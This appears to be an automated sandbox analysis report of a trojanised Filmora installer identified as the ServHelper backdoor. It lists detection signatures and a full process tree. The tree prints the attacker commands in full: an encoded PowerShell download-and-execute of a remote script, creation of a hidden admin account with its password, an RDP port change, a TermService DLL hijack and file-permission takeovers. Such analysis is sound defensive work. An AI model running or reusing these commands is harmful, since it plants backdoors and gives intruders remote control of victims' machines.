Analysis

  • max time kernel
    138s
  • max time network
    117s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    21/07/2021, 08:36

General

  • Target
    Filmora-Wondershare-Installer.exe
  • Size 9.2MB
  • Sample210721-gfamdcsznx
  • SHA256 79745c2263c8abe5b916e39e577652c029b5b586e7ccb39ee63ed0fc1568c39d
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 21 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe
    "C:\Users\Admin\AppData\Local\Temp\Filmora-Wondershare-Installer.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Users\Admin\AppData\Local\Temp\ViJoy.exe
      "C:\Users\Admin\AppData\Local\Temp\ViJoy.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:1732
      • C:\Users\Admin\AppData\Roaming\Templers\exe2.exe
        "C:\Users\Admin\AppData\Roaming\Templers\exe2.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Writes to the Master Boot Record (MBR)
        • Modifies Internet Explorer settings
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:1272
        • C:\Users\Public\Documents\Wondershare\NFWCHK.exe
          C:\Users\Public\Documents\Wondershare\NFWCHK.exe
          4⤵
          • Executes dropped EXE
          PID:920
      • C:\Users\Admin\AppData\Roaming\Templers\exe1.exe
        "C:\Users\Admin\AppData\Roaming\Templers\exe1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:852
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
          4⤵
          • Deletes itself
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1788
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tnk0n035\tnk0n035.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2008
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6162.tmp" "c:\Users\Admin\AppData\Local\Temp\tnk0n035\CSC9E160A0322BD483483B2C3D605862D6.TMP"
              6⤵
                PID:1196
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1680
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1608
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1096
            • C:\Windows\system32\takeown.exe
              "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1404
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:300
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              • Suspicious use of AdjustPrivilegeToken
              PID:1680
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:520
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:920
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:980
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1992
            • C:\Windows\system32\icacls.exe
              "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
              5⤵
              • Possible privilege escalation attempt
              • Modifies file permissions
              PID:1200
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
              5⤵
                PID:988
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
                5⤵
                • Modifies registry key
                PID:1500
              • C:\Windows\system32\reg.exe
                "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
                5⤵
                  PID:1904
                • C:\Windows\system32\net.exe
                  "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                  5⤵
                    PID:1056
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                      6⤵
                        PID:884
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                      5⤵
                        PID:1596
                        • C:\Windows\system32\cmd.exe
                          cmd /c net start rdpdr
                          6⤵
                            PID:964
                            • C:\Windows\system32\net.exe
                              net start rdpdr
                              7⤵
                                PID:520
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 start rdpdr
                                  8⤵
                                    PID:1208
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                              5⤵
                                PID:2008
                                • C:\Windows\system32\cmd.exe
                                  cmd /c net start TermService
                                  6⤵
                                    PID:1784
                                    • C:\Windows\system32\net.exe
                                      net start TermService
                                      7⤵
                                        PID:1992
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 start TermService
                                          8⤵
                                            PID:816
                                    • C:\Windows\system32\cmd.exe
                                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                                      5⤵
                                        PID:2304
                                      • C:\Windows\system32\cmd.exe
                                        "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                                        5⤵
                                          PID:2316
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc 000000 /del
                                  1⤵
                                    PID:1432
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc 000000 /del
                                      2⤵
                                        PID:920
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                          3⤵
                                            PID:1984
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe user WgaUtilAcc 8Pu5fM1s /add
                                        1⤵
                                          PID:1596
                                          • C:\Windows\system32\net.exe
                                            net.exe user WgaUtilAcc 8Pu5fM1s /add
                                            2⤵
                                              PID:1576
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 user WgaUtilAcc 8Pu5fM1s /add
                                                3⤵
                                                  PID:1844
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                              1⤵
                                                PID:552
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                  2⤵
                                                    PID:1904
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                      3⤵
                                                        PID:520
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                    1⤵
                                                      PID:980
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                        2⤵
                                                          PID:1700
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
                                                            3⤵
                                                              PID:1640
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                          1⤵
                                                            PID:1680
                                                            • C:\Windows\system32\net.exe
                                                              net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                              2⤵
                                                                PID:884
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                                  3⤵
                                                                    PID:1576
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd /C net.exe user WgaUtilAcc 8Pu5fM1s
                                                                1⤵
                                                                  PID:1844
                                                                  • C:\Windows\system32\net.exe
                                                                    net.exe user WgaUtilAcc 8Pu5fM1s
                                                                    2⤵
                                                                      PID:1296
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 user WgaUtilAcc 8Pu5fM1s
                                                                        3⤵
                                                                          PID:1904
                                                                    • C:\Windows\System32\cmd.exe
                                                                      cmd.exe /C wmic path win32_VideoController get name
                                                                      1⤵
                                                                        PID:1576
                                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                                          wmic path win32_VideoController get name
                                                                          2⤵
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:884
                                                                      • C:\Windows\System32\cmd.exe
                                                                        cmd.exe /C wmic CPU get NAME
                                                                        1⤵
                                                                          PID:992
                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                            wmic CPU get NAME
                                                                            2⤵
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:964
                                                                        • C:\Windows\System32\cmd.exe
                                                                          cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                          1⤵
                                                                            PID:884
                                                                            • C:\Windows\system32\cmd.exe
                                                                              cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                              2⤵
                                                                                PID:552
                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                                  3⤵
                                                                                  • Blocklisted process makes network request
                                                                                  • Drops file in Windows directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:992

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v6

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  memory/852-82-0x0000000040F36000-0x0000000040F37000-memory.dmp

                                                                                  memory/852-78-0x0000000041460000-0x000000004170A000-memory.dmp

                                                                                  memory/852-81-0x0000000040F34000-0x0000000040F36000-memory.dmp

                                                                                  memory/852-80-0x0000000040F32000-0x0000000040F34000-memory.dmp

                                                                                  memory/852-83-0x0000000040F37000-0x0000000040F38000-memory.dmp

                                                                                  memory/920-91-0x000007FEE8BC0000-0x000007FEE9C56000-memory.dmp

                                                                                  memory/920-90-0x0000000000B10000-0x0000000000B12000-memory.dmp

                                                                                  memory/992-230-0x0000000019430000-0x0000000019432000-memory.dmp

                                                                                  memory/992-231-0x0000000019434000-0x0000000019436000-memory.dmp

                                                                                  memory/992-260-0x000000001943A000-0x0000000019459000-memory.dmp

                                                                                  memory/1096-175-0x000000001AC20000-0x000000001AC22000-memory.dmp

                                                                                  memory/1096-176-0x000000001AC24000-0x000000001AC26000-memory.dmp

                                                                                  memory/1272-74-0x0000000075041000-0x0000000075043000-memory.dmp

                                                                                  memory/1608-161-0x0000000001F70000-0x0000000001F71000-memory.dmp

                                                                                  memory/1608-160-0x000000001B7F0000-0x000000001B7F1000-memory.dmp

                                                                                  memory/1608-158-0x000000001B590000-0x000000001B591000-memory.dmp

                                                                                  memory/1608-156-0x0000000002480000-0x0000000002481000-memory.dmp

                                                                                  memory/1608-155-0x000000001ABC4000-0x000000001ABC6000-memory.dmp

                                                                                  memory/1608-154-0x000000001ABC0000-0x000000001ABC2000-memory.dmp

                                                                                  memory/1640-62-0x000000001B520000-0x000000001B522000-memory.dmp

                                                                                  memory/1640-60-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                                                                  memory/1680-120-0x000000001ABD0000-0x000000001ABD2000-memory.dmp

                                                                                  memory/1680-127-0x0000000002450000-0x0000000002451000-memory.dmp

                                                                                  memory/1680-126-0x000000001B500000-0x000000001B501000-memory.dmp

                                                                                  memory/1680-124-0x000000001AB30000-0x000000001AB31000-memory.dmp

                                                                                  memory/1680-122-0x0000000002580000-0x0000000002581000-memory.dmp

                                                                                  memory/1680-121-0x000000001ABD4000-0x000000001ABD6000-memory.dmp

                                                                                  memory/1680-147-0x000000001B6C0000-0x000000001B6C1000-memory.dmp

                                                                                  memory/1680-146-0x000000001B630000-0x000000001B631000-memory.dmp

                                                                                  memory/1680-133-0x000000001B8B0000-0x000000001B8B1000-memory.dmp

                                                                                  memory/1732-66-0x00000000002A0000-0x00000000002A1000-memory.dmp

                                                                                  memory/1732-68-0x0000000000B10000-0x0000000000B41000-memory.dmp

                                                                                  memory/1732-69-0x0000000004C40000-0x0000000004C41000-memory.dmp

                                                                                  memory/1788-112-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

                                                                                  memory/1788-96-0x0000000002000000-0x0000000002001000-memory.dmp

                                                                                  memory/1788-128-0x000000001ACBA000-0x000000001ACD9000-memory.dmp

                                                                                  memory/1788-93-0x000007FEFB561000-0x000007FEFB563000-memory.dmp

                                                                                  memory/1788-94-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

                                                                                  memory/1788-101-0x000000001C2A0000-0x000000001C2A1000-memory.dmp

                                                                                  memory/1788-109-0x00000000024B0000-0x00000000024B1000-memory.dmp

                                                                                  memory/1788-111-0x000000001AC20000-0x000000001AC21000-memory.dmp

                                                                                  memory/1788-99-0x0000000002030000-0x0000000002031000-memory.dmp

                                                                                  memory/1788-98-0x000000001ACB4000-0x000000001ACB6000-memory.dmp

                                                                                  memory/1788-97-0x000000001ACB0000-0x000000001ACB2000-memory.dmp

                                                                                  memory/1788-95-0x000000001AD30000-0x000000001AD31000-memory.dmp

                                                                                  memory/1788-113-0x0000000002910000-0x0000000002911000-memory.dmp